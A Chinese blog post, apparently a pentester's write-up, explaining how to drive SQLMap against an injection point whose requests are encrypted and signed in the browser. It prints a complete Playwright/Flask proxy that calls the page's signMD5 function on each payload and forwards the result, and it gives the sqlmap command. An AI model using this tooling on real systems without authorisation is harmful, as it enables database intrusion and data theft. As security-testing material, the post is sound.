复杂加密接口的一种SQL注入测试方法

今天遇到一个存在SQL注入漏洞的系统。

通过手动修改参数值后确认漏洞确实存在,但是这么明显的注入漏洞,不可能留到现在等我发现啊,但是转头看他的请求包:

emmmm……这八成是要写tamper了。

在对整个请求流程一步一步分析后发现,数据包在请求前都会被一个加密/签名函数统一处理,该函数的处理过程如下图所示:

实现路径选择

由于加密流程过于复杂,且由于_timestamp参数不允许重放、加密过程中大量调用Cookie等浏览器独占API等原因,遂放弃使用其他语言重写该加密函数,这时摆在面前的有两条路:

  1. 写tamper对接浏览器爬虫,爬虫脚本不负责请求后端,仅监听API接口透过driver调用浏览器中的加密函数,并将加密结果返回至SQLMap。
  2. 编写浏览器爬虫,监听API接口做为透明代理,将SQLMap发来的Payload植入到注入点,透过driver调用浏览器中的加密函数,直接在脚本内发起请求并将请求结果返回至SQLMap。

考虑到第一种方法调试较为困难,最终采取了第二种方法作为实现路径。

最近刚好在编写一个基于playwright的浏览器爬虫,正好可以将部分代码复用。

脚本编写

由于漏洞接口需要身份认证,需要模拟输入用户信息、并点击登录按钮

from playwright.sync_api import sync_playwright

page = None
context = None

def initPage():
    global page, context
    p = sync_playwright().start()
    browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
    context = browser.new_context()
    page = browser.new_page()
    page.goto(
        '<loginPage>')
    page.fill("#username", '<username>')
    page.fill("#password", '<password>')
    page.click('.Btn_Submit')
    page.wait_for_load_state()
    page.goto('<vul_page>')

initPage()

编写加密函数调用与代理接口

@server.route('/', methods=['get', 'post'])
def encrypt():
    global page, context, cookies
    payload = request.values.get('payload')
    fullPayload = {
        "_method": "component.getListData", 
        "_param": {
            "bizObj": "xx", 
            "service": "selectMore",
            "fields": "DZ,%s" % payload, #注入点1
            "filter": "1=1 ",   # 注入点2
            "currentPageIndex": 1, 
            "pageSize": 1,
            "orderList": [],
            "QueryFormData": ""
            }
        }
    computeResult = page.evaluate(
        'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
    if cookies == '':
        allcookies = page.context.cookies()
        for i in range(0, len(allcookies) - 1):
            cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
    resp = requests.post('<vul_url>', computeResult, headers={
        'Cookie': cookies,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
    return resp.content

之所以使用注入点1而不是2的原因是因为注入点2为布尔注入,效率较低,遂使用注入点1中的查询参数注入。

完整脚本如下

#!/usr/bin/env python

from playwright.sync_api import sync_playwright
import flask
import json
from flask import request
import requests

page = None
context = None
server = flask.Flask(__name__)
cookies = ''


@server.route('/', methods=['get', 'post'])
def encrypt():
    global page, context, cookies
    payload = request.values.get('payload')
    fullPayload = {
        "_method": "component.getListData", 
        "_param": {
            "bizObj": "xx", 
            "service": "selectMore",
            "fields": "DZ,%s" % payload,
            "filter": "1=1 ", 
            "currentPageIndex": 1, 
            "pageSize": 1,
            "orderList": [],
            "QueryFormData": ""
            }
        }
    computeResult = page.evaluate(
        'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
    if cookies == '':
        allcookies = page.context.cookies()
        for i in range(0, len(allcookies) - 1):
            cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
    resp = requests.post('<vul_url>', computeResult, headers={
        'Cookie': cookies,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
    return resp.content


def initPage():
    global page, context
    p = sync_playwright().start()
    browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
    context = browser.new_context()
    page = browser.new_page()
    page.goto(
        '<loginPage>')
    page.fill("#username", '<username>')
    page.fill("#password", '<password>')
    page.click('.Btn_Submit')
    page.wait_for_load_state()
    page.goto('<vul_page>')


if __name__ == '__main__':
    initPage()
    from gevent import monkey
    monkey.patch_all()
    server.run(debug=False, port=18888, host='0.0.0.0')

最终实现效果

在浏览器测试可以正常注入后,祭出SQLMap

# sqlmap -u "http://127.0.0.1:18889/?payload=" --level 3

加入对话

2条评论

    1. 通过playwright的api来调用js中的signMD5函数实现的加密,响应是明文的不需要解密。

留下评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注